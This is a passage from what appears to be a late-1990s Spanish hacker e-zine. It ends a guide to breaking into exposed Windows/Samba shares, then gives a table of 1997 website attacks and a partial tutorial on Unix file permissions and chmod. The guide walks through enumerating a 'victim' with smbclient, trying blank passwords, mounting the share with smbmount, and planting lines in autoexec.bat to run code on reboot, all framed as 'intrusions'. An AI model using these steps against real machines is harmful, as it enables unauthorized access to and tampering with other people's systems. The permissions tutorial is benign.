  1649.   o de los diversos xploits que actuan sobre el. Ademas no he probado esta
  1650.   opcion, asi que no os aseguro que el smbclient no dependa de ningun recurso
  1651.   mas que se meten/configuran al instalar el samba. Si lo probais y funciona
  1652.   os agradeceria que me lo comunicarais.
  1653.    
  1654.         Bueno, pues se supone que ya debes tener metido el samba en tu maquina
  1655.   lo primero que puedes hacer es poner lo siguiente:
  1656.    
  1657.    smbclient           
  1658.    
  1659.   Te deberia aparecer lo siguiente  maomeno:
  1660.  
  1661.    Usage: smbclient service <password> [-p port] [-d debuglevel] [-l log] 
  1662.    Version 1.9.17p4
  1663.     -p port               listen on the specified port
  1664.     -d debuglevel         set the debuglevel
  1665.     -l log basename.      Basename for log/debug files
  1666.     -n netbios name.      Use this name as my netbios name
  1667.     -N                    don't ask for a password
  1668.     -P                    connect to service as a printer
  1669.     -M host               send a winpopup message to the host
  1670.     -m max protocol       set the max protocol level
  1671.     -L host               get a list of shares available on a host
  1672.     -I dest IP            use this IP to connect to
  1673.     -E                    write messages to stderr instead of stdout
  1674.     -U username           set the network username
  1675.     -W workgroup          set the workgroup name
  1676.     -c command string     execute semicolon separated commands
  1677.     -T<c|x>IXgbNa          command line tar
  1678.     -D directory          start from directory
  1679.     
  1680.    
  1681.      
  1682.         Bueno, todas estas opciones son muy bonitas :) y sirven para diversas
  1683.   cosas, incluso puedes hacerles bromitas a la gente que tenga metido los
  1684.   mensajes emergentes, enviandole notitas con esta herramienta. Si quereis
  1685.   probar mirar la opcion -M.
  1686.     
  1687.   Para hacer lo del nbtstat deberemos usar la opcion -L:
  1688.     
  1689.     smbclient -L "dns_victima"
  1690.     
  1691.         Ojo , aqui solo admite dns, pero para eso no hay problemo, si sabes la 
  1692.   ip tranquilamente haces un "nslookup ip" y te dara la dns.
  1693.     
  1694.     Esto nos dara algo asin maomeno:    
  1695.     
  1696.          
  1697.     Added interface ip=192.168.0.2 bcast=192.168.0.255 nmask=255.255.255.0
  1698.     Unknown socket option TCP_NODELAY
  1699.     Server time is Tue Jan 27 22:54:18 1998
  1700.     Timezone is UTC+1.0
  1701.     Domain=[WORKGROUP] OS=[Unix] Server=[Samba 1.9.17p4]
  1702.     connected as guest security=user
  1703.  
  1704.     Server=[LOCALHOST] User=[nobody] Workgroup=[WORKGROUP] Domain=[WORKGROUP]
  1705.  
  1706.     Sharename      Type      Comment
  1707.     ---------      ----      -------
  1708.     IPC$           IPC       IPC Service (Samba 1.9.17p4)
  1709.         X              Disk      "<--- recurso compartido" 
  1710.  
  1711.     This machine has a browse list:
  1712.  
  1713.     Server               Comment
  1714.     ---------            -------
  1715.     VICTIMA               Samba 1.9.17p4
  1716.  
  1717.  
  1718.     This machine has a workgroup list:
  1719.  
  1720.     Workgroup            Master
  1721.     ---------            -------
  1722.     OTHERGROUP           OTHER
  1723.     WORKGROUP            VICTIMA
  1724.  
  1725.   Las ip,bcast y nmask del ejemplo son simbolicas. 
  1726.     
  1727.     
  1728.         Esto significa que el macho comparte recursos, es muy buena senal.
  1729.   Tambien es buena senal que no os pida password por que no es seguro 
  1730.   que esto se pueda llegar a hacer sin autentificacion, si os lo pide 
  1731.   podeis probar a darle al enter, debido a que muchos servicios de este
  1732.   tipo no tienen passwd, sobretodo los de win.(recordad que algunas 
  1733.   maquinas UNIX tambien lo dan)
  1734.    
  1735.         Con esto ya tendreis a la victima localizada y sabreis su nombre de 
  1736.   netbios. En este ejemplo es VICTIMA.
  1737.     
  1738.  
  1739.   3. Instrucciones de uso del net view \\....
  1740.     
  1741.     
  1742.         Bueno ahora viene lo mas interesante y lo realmente  efectivo.
  1743.   He de deciros que hasta ahora no hemos creado una conexion con la 
  1744.   victima, solo hemos pedido informacion sobre su nombre y los recursos 
  1745.   que comparte. En esto es lo interviene el nmbd, en el servicio de 
  1746.   nombres de netbios y tal y tal...
  1747.     
  1748.   Para hacer lo del net view hemos de ejecutar lo siguiente:
  1749.     
  1750.   En una red local normal bastaria con  hacer :
  1751.     
  1752.     smbclient \\\\VICTIMA\\recurso 
  1753.     
  1754.   para que apareciera el esperado prompt que nos asegura que hemos conectado
  1755.     
  1756.                     smb>
  1757.     
  1758.         Esto es debido a que el cliente envia un broadcast por la red local
  1759.   pidiendo informacion del servidor VICTIMA, y este se encargaria de 
  1760.   enviarnos una respuesta. Pero en Inet no se puede hacer un mega broadcast
  1761.   de guais a ver si nos contestan chorrocientos servidores con el mismo 
  1762.   nombre por esas malditas casulidades de esta vida. 
  1763.   Entonces deberemos ayudar al cliente a encontrar a ese nuestro "amigo"
  1764.   servidor VICTIMA, como se hace esto? facil:
  1765.     
  1766.     smbclient \\\\VICTIMA\\recurso -I ip_victima
  1767.     
  1768.         y yasta, luego nos pedira password seguramente y solo hay que probar
  1769.   hasta donde llega la ignorancia de ese susodicho administrador 
  1770.   propietario de la maquina, es decir a ver si ha puesto pass o no. 
  1771.     
  1772.         Que por que 4 BARRAS "\"? pues no se pero es la formalidad, sino no
  1773.   funa, y la verdad es que eso me hizo partirme los cuernos buscando por
  1774.   que no me conectaba al principio... pero por fin!!! yasta
  1775.     
  1776.         Bueno no mas, solo deciros que a partir de ahi es como un FTP, muy
  1777.   facilito si no sabeis como empezad probad con "h" o con "?" y nada los
  1778.   tipicos ls, cd... y tal y tal...
  1779.     
  1780.     
  1781.         Bueno nada mas... feliz intrusiones en WINDOWS que eso me satisface
  1782.   muy MUCHO.
  1783.  
  1784.     
  1785.   4. Facilidades a la hora de accder a los datos ;) (extra! extra!)
  1786.  
  1787.  
  1788.         Bueno muchos seguro que habran dicho que esto de hacer algo asin como
  1789.   un FTP es como un palo en los ojos... pues la verdad es que si. Que podemos
  1790.   hacer en Linux para que al conectarnos a un servicio (un directorio
  1791.   concretamente) podamos acceder a el como cuando lo hacemos desde el
  1792.   "ventanas" que el acceso es directo tal como si se tratase de un recurso
  1793.   nuestro?. No es dificil pero si chungo...X"D esto es, que si estas
  1794.   familiarizado un poco con linux no es dificil, lo cual es chungo, y si no
  1795.   lo estais entonces si que es chungoooooooo!!! . Bueno pero no es para tanto,
  1796.   solo hay que recompilar el kernel, si no controlais eso os podeis mirar el
  1797.   KERNEL HOWTO y luego seguid las instrucciones.
  1798.     
  1799.         Bueno para hacer lo que comentaba de conectarse a un recurso
  1800.   compartido y acceder a el como si fuera un directorio vuestro solo tendreis
  1801.   que montar dicho recurso en un directorio vuestro. La gracia, a quien le
  1802.   haga por que a mi no ;), es que por supuesto el mount raso no da
  1803.   opciones remotas, para eso hemos de usar el "smbmount" y "smbumount".
  1804.   Estas dos utilidades por si no las has metido de base cuando instalaste
  1805.   tu linux (probablemente vendran con las opciones de conectividad con
  1806.   windows) las puedes encontrar en un paquete llamado smbfs.
  1807.  
  1808.         Una vez las tienes metidas puedes recompilar el kernel. Lo unico que
  1809.   has de hacer es ir a las opciones de "Filesystem" y ... :
  1810.  
  1811.     <*> DOS FAT fs support                  
  1812.     <*> MSDOS fs support                                           
  1813.     < > VFAT (Windows-95) fs support                               
  1814.     < > umsdos: Unix like fs on top of std MSDOS FAT fs            
  1815.     [*] /proc filesystem support                                   
  1816.     <*> NFS filesystem support                                     
  1817.     [ ]    Root file system on NFS                                 
  1818.     <*> SMB filesystem support (to mount WfW shares etc..)         
  1819.     [*] SMB Win95 bug work-around                                  
  1820.         .  Asegurate que estas ^ dos ultimas esten activas 
  1821.         .
  1822.         .
  1823.  
  1824.   Bueno a recompilar....
  1825.  
  1826.         Una vez listo esto solo has de reiniciar la maquina ( no te olvides de
  1827.   lilo por si algo ). Una vez listo todo conectamos y yasta.
  1828.   Ahora solo has de seleccionar una directorio que te guste por ejemplo:
  1829.               
  1830.     mkdir /mnt/samba
  1831.  
  1832.   y para montar el directorio de la maquina remota en el :
  1833.  
  1834.     smbmount //VICTIMA/RECURSO /mnt/samba -I <ip/dns de la victima>
  1835.  
  1836.         y voila!!  te pedira password igual que en smbclient y por lo demas
  1837.   igual....
  1838.  
  1839.         Ahora si quieres ver lo que hay en ese directorio solo has de ir a el
  1840.   cd /mnt/samba y considerar dichos archivos como si se trataran de unos
  1841.   archivos que tienes localmente en ese directorio, con lo que seguro que 
  1842.   podreis leerlos y copiarlos pero el modificarlos depende de la forma de 
  1843.   compartir archivos de la maquina en cuestion (ya sea solo lectura o
  1844.   acceso total). 
  1845.  
  1846.         Nada mas respecto a este tema, lo demas corre de vuestra cuenta, tened
  1847.   en cuenta que si os comparten el directorio raiz teneis acceso al
  1848.   autoexec.bat , etc... con lo que ejecutar algo es cuestion de .. jeje
  1849.   insertar lineas y hacer reiniciar al individuo... ;) .
  1850.       
  1851.     
  1852.         Bueno este ha sido mi primer DoC, asi que ruego un poco de compasion y
  1853.   no me destroceis con KRITICAS DESTRUCTICAS... lo demas lo acepto todo,
  1854.   espero que ayude en algo y ala si necesitais alguna aclaracion, podeis
  1855.   buscadme por HISPANO como "Enif" o como "TuRBo" (from Oioio of course ;) ),
  1856.   suelo esta por #hack_novatos con el "populacho" o por #hackers ... Si sois
  1857.   de #rejoin supongo que no os costara ;-)
  1858.     
  1859.     
  1860.     ****         Engendrado por Enif from Oioio                      ****
  1861.     ****   Colaboradores  dAEk DrSlump CoSMiC SID 6.7                ****
  1862.     ****                  Saludos   a :                              ****
  1863.     ****                                                             ****
  1864.     ****     aRUsHa, ACID-BURN, KRIS, BINARIA, Nad|a                 ****
  1865.     ****     Segarra, Dillet, Marauder, Erfollaor, Sanity            **** 
  1866.     ****     Guss, Dcard, Jupiter, TGILITO, Nobody, PandE            ****
  1867.     ****     Case, Koji, N|a, Shara, Scorpia....                     ****
  1868.     ****           y en general a los canales:                       ****
  1869.     ****        #rejoin #hack_novatos y #hackers                     ****
  1870.     ****             Viva Linux!!!  Viva!!!                          ****
  1871.     
  1872.         pido disculpas por adelantado si algun nick no esta reflejado tal cual
  1873.   el autor hubiera deseado, pero eso tiene solucion rapida ;))  ...
  1874.   enif@ThePentagon.com
  1875.     
  1876.     
  1877.         Por ultimo una cosilla que le lei el otro dia a un colega que me
  1878.   permitira que se lo copie ligeramente ;-)  ...... (   ;) Marauder )
  1879.  
  1880.        " Las faltas de ortografia se las dedico a mi profe de Lengua de
  1881.          Bachiller y a mi pApIS. "
  1882.     
  1883.         Este DoC es de libre distribucion, puedes pasarselo a quien quieras y 
  1884.   ponerlo en las guebs que quieras, tienes mi vendicion para ello ;-)  
  1885.   No me hago responsable de lo que hagas despues de leer esto, tus actos 
  1886.   son los causantes no el conocimiento, en nigun sitio te he obligado ha
  1887.   usar lo aqui expuesto asin que vive , se feliz y dejame en mi paz
  1888.   pacifica.......... Ciao
  1889.  
  1890.  
  1891.    By Enif. 1998  ..... El Buen hacker. Consultas en : rejoin@coollist.com         
  1892.  
  1893. <────────────────────────────────────────────────────────────────────────────>
  1894. ██████████████████████████████████████████████████████████████████████████████
  1895. <────────────────────────────────────────────────────────────────────────────>
  1896.  
  1897.                           /------------------------\
  1898.                          │    ESTADISTICA DE LOS    │
  1899.                           \    HACKERS EN 1997.    /
  1900.                             \____________________ /
  1901.  
  1902.  
  1903.         En este articulo es revelaremos la estadistica sobre los ataques
  1904.   que efectuaron los Hackers por Internet en 1997, los cuales fueron muy
  1905.   diversos.
  1906.  
  1907.   Aqui tenemos una tabla la cual refleja los 12 meses del año (horizontal) y 
  1908.   abajo los dominios hackeados (vertical). Como podreis observar el dominio
  1909.   .COM o sea Comercial es el mas afectado de todos, seguido de .ORG
  1910.   (organizacion) pero en menor medida, con mucha diferencia.
  1911.  
  1912.   <---------------------- TABLA DE ESTADISTICA ----------------------------->
  1913.  
  1914.   MES        EN   FE   MA   AB   MA   JU   JU   AG   SE   OC   NO   DI  TOTAL
  1915.   DOMINIO
  1916.       .COM   -     -   1    -    3    6    2    7    32   28   59   82  220
  1917.       .ORG   -     -   1    1    -    -    1    2    -    3    4    6   18
  1918.       .NET   -     -   -    -    -    -    2    2    2    3    6    1   16
  1919.       .EDU   -     -   -    -    -    -    -    2    1    1    2    3   9
  1920.       .GOV   -     -   1    -    -    1    -    -    1    -    1    2   6
  1921.       .MIL   -     -   -    -    -    -    -    -    -    2    -    2   4
  1922.       .US    -     -   -    -    -    -    2    -    1    -    3    1   7
  1923.       .JP    -     -   -    -    1    -    -    -    1    2    3    -   7
  1924.       .UK    -     -   -    1    -    -    -    -    1    -    1    3   6
  1925.       .SE    -     -   -    3    1    -    -    -    -    -    -    1   5
  1926.       .ID    -     -   -    1    -    -    -    -    -    -    -    -   1
  1927.       .IT    -     -   -    -    1    -    -    -    -    -    -    2   3
  1928.       .PL    -     -   -    -    1    -    -    -    -    -    -    1   2
  1929.       .KR    -     -   -    -    -    -    1    -    -    -    -    -   1
  1930.       .CA    -     -   -    -    -    -    1    -    -    2    -    2   5
  1931.        OTROS -     -   -    -    -    -    -    2    2    3    3    8   17
  1932.   TOTAL      -     -   3    6    7    7    9    15   41   44   82   112 326
  1933.  
  1934.   Otros Dominios: .NL, .RO, .ES, .NO, .ZA, .AT, .CN, .IR, .AU, .CZ, .MX,
  1935.                   .MY, .TW
  1936.  
  1937.   La estadistica a sido realizada en base a las siguientes reglas:
  1938.  
  1939.   - Todos los ataques fueron verificados.
  1940.   - Multiples ataques fueron contados.
  1941.   - Entre Enero y Febrero de 1997 no hubo estadistica, por eso no hay numeros.
  1942.   - Estos sitios aumentaron el trafico y su popularidad el año pasado, por lo
  1943.     que engordaron el total.
  1944.   - Los comercios On-Line atacados no han sido incluidos.
  1945.   - Esta estadistica no es un estudio cientifico como tal.
  1946.  
  1947.   Nota : Datos obtenidos en Hacked Net.
  1948.  
  1949.                                                    - J.J.F. / HACKERS TEAM -
  1950.  
  1951. <────────────────────────────────────────────────────────────────────────────>
  1952. ██████████████████████████████████████████████████████████████████████████████
  1953. <────────────────────────────────────────────────────────────────────────────>
  1954.  
  1955.  [DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS Y DIRECTORIOS PARA SISTEMAS UNIX]
  1956. ==============================================================================
  1957.  
  1958.   1. Introduccion
  1959.   ---------------
  1960.         El siguiente documento tratara de explicar en que consiste y como
  1961.   podemos establecer los diferentes permisos que podemos atribuir tanto a
  1962.   directorios como a archivos en sistemas UNIX.
  1963.         Si eres un usuario avanzado en el terreno UNIX, esto ya deberias
  1964.   saberlo, pero si aun asi deseas leerlo te agradeceria a ti y a todos los
  1965.   demas, que me rectificarais cualquier fallo que pueda tener durante este
  1966.   texto.
  1967.  
  1968.   2. Comenzando
  1969.   -------------
  1970.         Como todos sabreis los sistemas UNIX son sistemas
  1971.   multitarea/multiusuario. A diferencia del sistema operativo MSDOS (por
  1972.   ejemplo), estos sistemas operativos tienen la capacidad de tener a mas de
  1973.   un usuario dentro del sistema, tanto localmente como remotamente. Por lo
  1974.   tanto para proteger la privacidad de los archivos y directorios de cada uno
  1975.   de ellos, para proteger ciertos archivos elementales para el buen
  1976.   funcionamiento de la maquina, y para una buena organizacion del sistema
  1977.   (aparte de otras muchas razones), tenemos a nuestra disposicion los
  1978.   llamados permisos.
  1979.         Como ya sabras, en una computadora con el S.O MSDOS, cualquier
  1980.   persona que acceda a ella puede en cualquier momento borrar todo el disco
  1981.   duro. En los sistemas UNIX hay diferentes categorias de usuarios, siendo la
  1982.   mas alta la del llamado 'root', o superusuario, que puede leer, escribir y
  1983.   ejecutar en cualquier archivo dentro del sistema.
  1984.         Como he citado antes, hay 3 posiblidades a la hora de 'tratar' a un
  1985.   archivo. Leer el archivo, ejecutar el archivo y escribir en el archivo (por
  1986.   supuesto, nada de esto podremos hacer si no tenemos permiso para ello o no
  1987.   hemos establecido los permisos oportunos).
  1988.  
  1989.   3. UIDs y GIDs 
  1990.   --------------
  1991.         Toda persona que haya tenido la oportunidad de trabajar con un sistema
  1992.   UNIX, si ha tenido la ocasion de observar el archivos de paswords, habra
  1993.   visto que aparte de la informacion del usuario, login, definicion de
  1994.   shell... se encuentran 2 numeros, para ser mas exactos, en el tercer y
  1995.   cuarto campo.
  1996.         El tercero UID, y el cuarto, tambien definido en /etc/group GID. Todo
  1997.   esto a grosos modos, serviria para identificar a cada archivo con su
  1998.   propietario y grupo, entre otras cosas.
  1999.         Los permisos de los archivos se almacenan junto con otra informacion
  2000.   en una palabra de 16 bits dentro de lo llamado 'i-node'. 9 de ellos, se
  2001.   refieren a lo mencionado anteriormente (lectura, escritura y ejecucion),
  2002.   ademas de 3 bits adicionales que contienen cierta informacion para las
  2003.   operaciones con el archivo si es ejecutable, que ya explicaremos mas
  2004.   adelante. Cada archivo posee un'i-node' diferente, que ademas de contener
  2005.   todo lo que hemos citado anteriormente, este numero tambien hace referencia
  2006.   a los X primeros bloques en el disco donde se encuentra ese fichero, y
  2007.   vienen las referencias de los bloques que contienen las direcciones simples,
  2008.   dobles y triples del resto de los bloques del fichero, ademas de muchas
  2009.   otras cosas que no tratamos en este documento.
  2010.         
  2011.         *NOTA* Si deseamos saber el numero 'i-node' de un archivo en concreto
  2012.   podemos emplear el comando 'ls -i archivo'
  2013.  
  2014.   4. Permisos
  2015.   -----------
  2016.         En los archivos, o ficheros UNIX, a la hora de establecer los permisos
  2017.   deseados tenemos que hacer uso de una orden de este S.O, que ha sido
  2018.   destinada para eso exactamente, para la especificacion de permisos, esta
  2019.   orden se llama 'chmod'. A la hora de establecer los permisos, tenemos dos
  2020.   posiblidades, las dos son igual de validas y buenas, aunque cada uno
  2021.   siempre se habituara a la que le resulte mas comoda. Las dos posiblidades
  2022.   citadas anteriormente reciben el nombre de absoluta y relativa, que mas
  2023.   adelante hablaremos sobre ellas.
  2024.         A continuacion explicaremos las caracteristicas globales que tienen
  2025.   los permisos de los archivos tanto hayan sido asignados en forma abosluta
  2026.   como relativa.
  2027.  
  2028.   Fijate en los siguientes cuadros:
  2029.  
  2030.   Fig 1.
  2031.          -rwxrwxrwx   1 core     users           5 Feb  4 21:49 prueba*
  2032.  
  2033.  
  2034.   Fig 2.                 Permiso
  2035.                     -----------------    
  2036.                     r |  lectura
  2037.                     w |  escritura   
  2038.                     x |  ejecucion   
  2039.  
  2040.         Gracias al comando 'ls -l' podemos obtener bastante informacion tanto
  2041.   de los archivos como de los directorios del sistema UNIX, tras hacer un
  2042.   ls -l prueba el sistema nos mostrara algo parecido a la Figura 1.
  2043.         Que como podemos observar el usuario 'core' del grupo 'users' tiene
  2044.   un archivo llamado 'prueba'. Si observamos el primer fragmento de la linea,
  2045.   nos extrañara el ver repetidamente las letras r,w y x, ademas del '-' al
  2046.   principio de todo. Pues bien como hemos citado antes, un S.O basado en UNIX
  2047.   tiene diferentes categorias de usuarios, es por ello que en el archivo
  2048.   'prueba' y en todos los archivos, se engloban todos estos grupos.
  2049.         El primer '-' significa que es un archivo normal, ya que si fuese un
  2050.   directorio dicho '-' nos lo representaria por 'd', si fuese un enlace
  2051.   mediante 'l', 'b' significaria que es un dispositivo especial de bloques,
  2052.   'c' un dispositivo especial de caracteres,'p' un archivo de conduccion por
  2053.   nombre, 's' un semaforo y 'm' nos indicaria que es un archivo de memoria
  2054.   compartida.
  2055.         Las 3 primeras letras 'rwx' si os fijais en la Fig 2 sabreis que se
  2056.   refiere tanto a permisos de lectura, escritura y ejecucion, pero este
  2057.   primer terceto siempre se referira al usuario que creo dicho archivo, es
  2058.   decir al usuario 'core', por lo tanto sabemos que este usuario puede leer,
  2059.   escribir y ejecutar dicho fichero. Pero... que hay del resto? Pues bien, el
  2060.   segundo terceto siempre se referira a los permisos del grupo, mientras que
  2061.   lo que resta a los demas usuarios. Por lo tanto en este caso, como habreis
  2062.   deducido, todo el mundo tiene derecho a todos los permisos posibles sobre
  2063.   el archivo. Pongamos un ultimo ejemplo:
  2064.  
  2065.         -r-x--xrw-   1 core     users           5 Feb  4 21:49 prueba*
  2066.  
  2067.         En este fichero como podreis observar hay un ligero cambio de
  2068.   permisos. El fichero 'prueba' ya que comienza mediante un '-' tiene permisos
  2069.   de lectura y ejecucion para su dueño 'core', de ejecucion para los de su
  2070.   grupo 'users', y de lectura y escritura para el resto de usuarios. Como
  2071.   habreis podido ver, al no haber permisos de escritura para su dueño, ni
  2072.   permisos de lectura y escritura para su grupo, ni permisos de ejecucion
  2073.   para el resto de los usuarios, estos son resprentados mediante un '-'.
  2074.  
  2075.         Ahora que ya hemos explicado las caracteristicas globales de todo
  2076.   directorio y archivo unix podemos dar paso a la explanacion de las 2 formas
  2077.   citadas anteriormente para establecer nuestros permisos en el sistema UNIX.
  2078.  
  2079.   Forma abosluta:
  2080.  
  2081.         La principal caracteristica que tiene esta nomenclatura es la de
  2082.   asignar los permisos mediante valores octales.
  2083.         Como todos sabreis, la base octal, o base 8, puede contener de los
  2084.   numeros 0 al 7. Es por ello, que tan solo son validos estos numeros a la
  2085.   hora de asignar permisos. Fijate en el siguiente cuadro:
  2086.  
  2087.   Fig 1.                Permiso    Valor_Octal
  2088.                    ------------------------------
  2089.                    r |  lectura         4
  2090.                    w |  escritura       2
  2091.                    x |  ejecucion       1
  2092.  
  2093.         Claramente observamos que numero octal corresponde a cada
  2094.   caracteristica de un archivo o directorio en un sistema UNIX. Pasemos pues
  2095.   a poner en uso todo lo aprendido hasta ahora.
  2096.         Como dijimos antes el comando utilizado por los S.O UNIX para
  2097.   establecer permisos recibe el nombre de chmod. A la hora de dar permisos en
  2098.   forma absoluta hemos de seguir la siguiente Sintaxis: 'chmod XYZ archivo'.
  2099.         X representa al dueño del archivo, Y al grupo y Z al resto de
  2100.   usuarios, mientras que 'archivo' es el nombre del archivo a especificar los
  2101.   permisos. Siempre que queramos atribuir mas de un permiso los numeros
  2102.   octales se sumaran. Observar los siguientes ejemplos para un mayor
  2103.   entendimiento:
  2104.  
  2105.                 chmod 460 archivo   
  2106.                 chmod 755 archivo
  2107.                 chmod 050 archivo
  2108.                 chmod 000 archivo
  2109.                 chmod 777 archivo
  2110.  
  2111.         -EL primer ejemplo daria permisos de lectura al propietario (4),
  2112.   lectura y escritura al grupo (4+2), y ningun permiso al resto de usuarios
  2113.   (0).
  2114.         -El segundo ejemplo daria permisos de escritura, lectura y ejecucion
  2115.   al propietario (4+2+1), permisos de lectura y ejecucion tanto al grupo como
  2116.   al resto de usuarios (4+1)
  2117.         -El tercer ejemplo no daria ningun permiso al propietario (0),
  2118.   permisos de ejecucion y lectura al grupo (4+1), y ningun permiso al resto
  2119.   de usuarios (0)
  2120.         -El cuarto ejemplo no tendria ningun permiso para nadie (0)
  2121.         -Y finalmente el ultimo ejemplo tendria todos los permisos para todos
  2122.   los usuarios (4+2+1) 
  2123.  
  2124.         Espero que haya quedado totalmente claro el sistema absoluto mediante
  2125.   los anteriores ejemplos. Una vez dicho esto pasemos a explicar la segunda y
  2126.   ultima posiblidad.
  2127.  
  2128.   Forma relativa:
  2129.  
  2130.         A diferencia de la forma abosulta, la relativa no utiliza numeros
  2131.   octales o en base 8 para establecer los diferentes permisos, sino que se
  2132.   basa en una nomenclatura de letras. Al igual que en la forma absoluta, en
  2133.   la relativa tambien nos valemos del comando 'chmod' para asignar los
  2134.   permisos.
  2135.  
  2136.   Observa los siguientes cuadros:
  2137.  
  2138.   Fig 1.
  2139.  
  2140.   Letra             Explicacion
  2141.   ---------------------------------------------------------------------------
  2142.     a           Engloba todos los usuarios, grupos y demas usuarios.   
  2143.     g           Engloba el grupo del propietario.
  2144.     o           Engloba todos los demas usuarios no mecionados antes.
  2145.     u           Engloba al usuario que creo dicho archivo                    
  2146.          
  2147.   Fig 2.
  2148.  
  2149.   Operador           Explicacion
  2150.   ---------------------------------------------------------------------------
  2151.     +            Agrega la modalidad
  2152.     -            Elimina la modalidad
  2153.     =            Elimina los permisos existentes y agrega los establecidos
  2154.                  que indiquemos.
  2155.  
  2156.   Fig 3.
  2157.  
  2158.   Permiso             Explicacion
  2159.   ---------------------------------------------------------------------------
  2160.     x            Establecemos la ejecucion
  2161.     r            Establecemos la lectura
  2162.     w            Establecemos la escritura
  2163.  
  2164.         Siempre que queramos atribuir permisos a un archivo/directorio en
  2165.   forma relativa seguiremos por orden los 3 cuadros expuestos anteriormente.
  2166.   Por lo tanto primero se indicara a la persona o personas que queremos
  2167.   atribuir dichos permisos, seguiremos estableciendo la agregacion o
  2168.   eliminacion de ciertos permisos y finalmente indicaremos estos mismos
  2169.   permisos. Fijate en el siguiente ejemplo:
  2170.  
  2171.          chmod a+r archivo
  2172.  
  2173.         Si te has fijado en las Figuras anteriores, no te deberia costar
  2174.   demasiado entender los permisos que atribuye la orden anterior.
  2175.   Primeramente como hemos dicho, indicamos al usuario/usuarios, en este caso
  2176.   esta la letra 'a' que significa que estableceremos permisos al dueño, grupo
  2177.   y demas usuarios. El siguiente simbolo que le sigue, indicara si queremos
  2178.   agregar o eliminar permisos del archivo en cuestion, en este caso el
  2179.   simbolo '+' indica que queremos agregar permisos al fichero. Finalmente
  2180.   indicaremos los permisos a agregar. En este caso indicamos 'r' (lectura)
  2181.   para todos los usuarios 'a'.
  2182.         Espero que haya quedado claro lo anterior, mediante este ejemplo. Sin
  2183.   embargo quiza el simbolo '=' no lo acabemos de entender. Bien simplemente a
  2184.   diferencia de los caracters '+' y '-', el simbolo '=' lo que hace es
  2185.   agregar permisos al usuario/usuarios en cuestion, pero eliminando antes los
  2186.   que tenia establecidos. Ejemplo:
  2187.  
  2188.           chmod g=rw archivo
  2189.  
  2190.         Y simplemente lo que haria seria quitar los permisos establecidos en
  2191.   el grupo (si hay alguno), y daria permisos de lectura 'r' y escritura 'w'
  2192.   al grupo del creador de dicho archivo.
  2193.  
  2194.         Si por el contrario queremos establecer varios permisos a las
  2195.   diferentes categorias que comprenden los sistemas UNIX podemos utilizar
  2196.   las comas.
  2197.   Ejemplo:
  2198.  
  2199.           chmod o-wr, g-wr archivo
  2200.  
  2201.         Que simplemente esta sentencia eliminaria ambos permisos, de escritura
  2202.   y lectura tanto para el grupo, como para el resto de usuarios o general.
  2203.  
  2204.         Durante gran parte de este texto, nos hemos referido tanto a
  2205.   directorios como a archivos de forma indistintiva. Pero como bien sabemos,
  2206.   un directorio con caracteristicas de ejecucion, no quiere decir que se
  2207.   pueda ejecutar, entre otras cosas, porque los directorios no se crearon con
  2208.   ese fin. A continuacion se muestra un cuadro con las multiples cualidades
  2209.   que puede tener un directorio, y que podemos hacer con funcion de estas.
  2210.  
  2211.   Fig 1.
  2212.  
  2213.       Permisos            Caracteristicas
  2214.   --------------------------------------------------------------------
  2215.         r           La persona o personas que tenga establecidos este permiso
  2216.                     podran observar lo que contiene dicho directorio.
  2217.  
  2218.         w           La persona o personas que tenga establecidos este permiso
  2219.                     podran escribir (crear o eliminar) en el directorio.
  2220.                    
  2221.         x           La persona o personas que tenga establecidos este permiso
  2222.                     podran acceder al directorio y ejecutar los archivos
  2223.                     que lo contienen, siempre y cuando estos tengan permisos
  2224.                     de ejecucion a su vez.
  2225.  
  2226.         Como habreis podido deducir, las opciones anteriores se pueden
  2227.   convinar si deseamos dar multiples cualidades a un directorio.
  2228.  
  2229.         A continuacion podras ver unas aclaraciones tanto de archivos como de 
  2230.   directorios que no habiamos comentado literalmente hasta ahora.
  2231.  
  2232.         *Las unicas personas que pueden cambiar el permiso de los archivos o
  2233.   directorios ubicado en una maquina UNIX son: el propietario del archivo
  2234.   o directorio, el root o superusuario del sistema, y el dueño del directorio
  2235.   en el cual contiene dicho fichero o directorio. 
  2236.  
  2237.         *Siempre que un usuario tenga propiedad de lectura (como minimo)
  2238.   sobre cualquier archivo, y este no sea el propietario, si copia dicho
  2239.   fichero, la duplicacion de este archivo pasara a ser propiedad de el.
  2240.  
  2241.         *Cuando hablamos sobre permisos de escritura de archivos, nos
  2242.   referimos a la posiblidad que tenemos de insertar o eliminar texto dentro
  2243.   de ese fichero, mientras que cuando nos referimos a estos ultimos permisos
  2244.   para directorios, tenemos la posiblidad de crear nuevos archivos o
  2245.   directorios ubicados dentro del directorio en el cual tenemos estos
  2246.   permisos.
  2247.  
  2248.         *A la hora de eliminar un archivo o un directorio, no importa los
  2249.   permisos que tengan, ni quien sea su propietario, mientras tengamos
  2250.   permisos de escritura sobre el directorio que se encuentra dicho fichero o
  2251.   directorio podremos borrarlo.
  2252.  
  2253.         Finalicemos este apartado dando un repaso sobre los diversos
  2254.   parametros que podemos conjuntar con el comando chmod a la hora de
  2255.   establecer permisos.
  2256.  
  2257.   Sintaxis general:
  2258.  
  2259.         chmod [opciones] establecimiento_del_permiso archivo_o_directorio
  2260.  
  2261.   Opciones                     Descripcion
  2262.   --------                     -----------
  2263.   -c         *Nos describe con detalle solo los archivos cuyos permisos
  2264.               cambian. Si volvemos a establecer los mismos que tenia, el
  2265.               sistema no mostrara nada.
  2266.  
  2267.   -f         *Si usamos esta opcion, y establecemos un permiso a un archivo
  2268.               en el que no somos propietarios, el sistema no sacara ningun
  2269.               tipo de error, simplemente el archivo se quedara tal como
  2270.               estaba antes.
  2271.  
  2272.   -v         *Describe con detalle los permisos cambiados, aunque volvamos a
  2273.               establecer los mismos, el sistema nos lo indicara.
  2274.  
  2275.   -R         *Esta opcion cambia de forma recursiva los permisos de los
  2276.               directorios y todo lo que haya dentro.
  2277.  
  2278.   --help     *Muestra como usar chmod con sus respectivos parametros
  2279.  
  2280.   --version  *Imprime informacion de la version chmod utilizado por nuestro
  2281.               S.O
  2282.  
  2283.         Si te interesa concretar mas a cerca de este comando con todas sus
  2284.   opciones posibles, puedes consultar la ayuda de UNIX (man chmod)
  2285.  
  2286.   5. Los 3 bits adicionales de los permisos de un archivo
  2287.   --------------------------------------------------------
  2288.         En la seccion 3, si recordais, dejemos un tema en el aire, en el cual
  2289.   se hablaba de 3 bits adicionales que proporcionaban informacion para las
  2290.   operaciones del archivo mientras fuese ejecutable. Este tema es el que
  2291.   abarcaremos en esta seccion.
  2292.  
